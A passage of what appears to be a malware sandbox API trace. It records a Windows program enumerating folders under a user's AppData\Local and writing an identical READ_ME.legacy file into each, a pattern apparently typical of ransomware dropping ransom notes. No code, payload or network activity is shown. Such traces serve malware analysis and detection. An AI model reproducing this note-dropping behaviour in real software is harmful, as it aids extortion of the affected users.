(dwErrCode=0x0) [0140.571] GetLastError () returned 0x0 [0140.571] SetLastError (dwErrCode=0x0) [0140.571] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunevideo_8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.638] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.639] CloseHandle (hObject=0x744) returned 1 [0140.639] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.639] SetLastError (dwErrCode=0x0) [0140.639] GetLastError () returned 0x0 [0140.639] SetLastError (dwErrCode=0x0) [0140.639] GetLastError () returned 0x0 [0140.639] SetLastError (dwErrCode=0x0) [0140.639] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99201695, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x788510a7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x789ce851, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows.ContactSupport_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.CON")) returned 1 [0140.640] SetLastError (dwErrCode=0x0) [0140.640] GetLastError () returned 0x0 [0140.640] SetLastError (dwErrCode=0x0) [0140.640] SetLastError (dwErrCode=0x0) [0140.640] SetLastError (dwErrCode=0x0) [0140.640] GetLastError () returned 0x0 [0140.640] SetLastError (dwErrCode=0x0) [0140.640] GetLastError () returned 0x0 [0140.640] SetLastError (dwErrCode=0x0) [0140.640] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.ContactSupport_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.contactsupport_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.642] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.642] CloseHandle (hObject=0x744) returned 1 [0140.642] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddb3df96, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a8cfa4e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3a8cfa4e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="windows.devicesflow_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.DEV")) returned 1 [0140.643] SetLastError (dwErrCode=0x0) [0140.643] GetLastError () returned 0x0 [0140.643] SetLastError (dwErrCode=0x0) [0140.643] SetLastError (dwErrCode=0x0) [0140.643] SetLastError (dwErrCode=0x0) [0140.643] GetLastError () returned 0x0 [0140.643] SetLastError (dwErrCode=0x0) [0140.643] GetLastError () returned 0x0 [0140.643] SetLastError (dwErrCode=0x0) [0140.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.devicesflow_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.devicesflow_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.652] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.653] CloseHandle (hObject=0x744) returned 1 [0140.653] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9b315bfa, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd8832b29, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd8832b29, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="windows.immersivecontrolpanel_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.IMM")) returned 1 [0140.653] SetLastError (dwErrCode=0x0) [0140.653] GetLastError () returned 0x0 [0140.653] SetLastError (dwErrCode=0x0) [0140.653] SetLastError (dwErrCode=0x0) [0140.653] SetLastError (dwErrCode=0x0) [0140.653] GetLastError () returned 0x0 [0140.653] SetLastError (dwErrCode=0x0) [0140.653] GetLastError () returned 0x0 [0140.654] SetLastError (dwErrCode=0x0) [0140.654] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.655] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.656] CloseHandle (hObject=0x744) returned 1 [0140.656] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77c3f1ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows.MiracastView_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.MIR")) returned 1 [0140.656] SetLastError (dwErrCode=0x0) [0140.656] GetLastError () returned 0x0 [0140.657] SetLastError (dwErrCode=0x0) [0140.657] SetLastError (dwErrCode=0x0) [0140.657] SetLastError (dwErrCode=0x0) [0140.657] GetLastError () returned 0x0 [0140.657] SetLastError (dwErrCode=0x0) [0140.657] GetLastError () returned 0x0 [0140.657] SetLastError (dwErrCode=0x0) [0140.657] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.659] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.659] CloseHandle (hObject=0x744) returned 1 [0140.659] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x715dffc9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Windows.PrintDialog_cw5n1h2txyewy", cAlternateFileName="WINDOW~1.PRI")) returned 1 [0140.660] SetLastError (dwErrCode=0x0) [0140.660] GetLastError () returned 0x0 [0140.660] SetLastError (dwErrCode=0x0) [0140.660] SetLastError (dwErrCode=0x0) [0140.660] SetLastError (dwErrCode=0x0) [0140.660] GetLastError () returned 0x0 [0140.660] SetLastError (dwErrCode=0x0) [0140.660] GetLastError () returned 0x0 [0140.660] SetLastError (dwErrCode=0x0) [0140.660] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.662] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.663] CloseHandle (hObject=0x744) returned 1 [0140.663] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 1 [0140.663] SetLastError (dwErrCode=0x0) [0140.663] GetLastError () returned 0x0 [0140.663] SetLastError (dwErrCode=0x0) [0140.663] GetLastError () returned 0x0 [0140.663] SetLastError (dwErrCode=0x0) [0140.663] SetLastError (dwErrCode=0x0) [0140.663] GetLastError () returned 0x0 [0140.663] SetLastError (dwErrCode=0x0) [0140.663] SetLastError (dwErrCode=0x0) [0140.663] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x744 [0140.664] WriteFile (in: hFile=0x744, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.664] CloseHandle (hObject=0x744) returned 1 [0140.664] FindNextFileW (in: hFindFile=0x60c218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3af37fe8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="windows_ie_ac_001", cAlternateFileName="WINDOW~1")) returned 0 [0140.664] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\PeerDistRepub\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bc18 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] FindNextFileW (in: hFindFile=0x60bc18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] FindNextFileW (in: hFindFile=0x60bc18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] GetLastError () returned 0x12 [0140.665] SetLastError (dwErrCode=0x12) [0140.665] FindNextFileW (in: hFindFile=0x60bc18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.665] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60be98 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] FindNextFileW (in: hFindFile=0x60be98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] FindNextFileW (in: hFindFile=0x60be98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdb1a72e3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="8wekyb3d8bbwe", cAlternateFileName="8WEKYB~1")) returned 1 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] SetLastError (dwErrCode=0x12) [0140.666] GetLastError () returned 0x12 [0140.666] SetLastError (dwErrCode=0x12) [0140.666] SetLastError (dwErrCode=0x12) [0140.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\publishers\\8wekyb3d8bbwe\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c [0140.700] WriteFile (in: hFile=0x74c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.701] CloseHandle (hObject=0x74c) returned 1 [0140.701] FindNextFileW (in: hFindFile=0x60be98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.701] SetLastError (dwErrCode=0x0) [0140.701] GetLastError () returned 0x0 [0140.701] SetLastError (dwErrCode=0x0) [0140.701] GetLastError () returned 0x0 [0140.701] SetLastError (dwErrCode=0x0) [0140.701] FindNextFileW (in: hFindFile=0x60be98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.701] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6aadc85, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6aadc85, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6aadc85, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0xffffffff [0140.702] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c018 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] FindNextFileW (in: hFindFile=0x60c018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] FindNextFileW (in: hFindFile=0x60c018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe3309105, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xe3309105, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Database", cAlternateFileName="")) returned 1 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] SetLastError (dwErrCode=0x5) [0140.702] GetLastError () returned 0x5 [0140.702] SetLastError (dwErrCode=0x5) [0140.702] SetLastError (dwErrCode=0x5) [0140.703] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\TileDataLayer\\Database\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\tiledatalayer\\database\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x750 [0140.703] WriteFile (in: hFile=0x750, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0140.704] CloseHandle (hObject=0x750) returned 1 [0140.704] FindNextFileW (in: hFindFile=0x60c018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0140.704] SetLastError (dwErrCode=0x0) [0140.704] GetLastError () returned 0x0 [0140.704] SetLastError (dwErrCode=0x0) [0140.704] GetLastError () returned 0x0 [0140.704] SetLastError (dwErrCode=0x0) [0140.704] FindNextFileW (in: hFindFile=0x60c018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6ad3b4e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6ad3b4e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0140.705] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\UNP\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c2d8 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] GetLastError () returned 0x12 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] SetLastError (dwErrCode=0x12) [0140.705] FindNextFileW (in: hFindFile=0x60c2d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6ad3b4e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] GetLastError () returned 0x12 [0140.705] SetLastError (dwErrCode=0x12) [0140.705] SetLastError (dwErrCode=0x12) [0140.705] 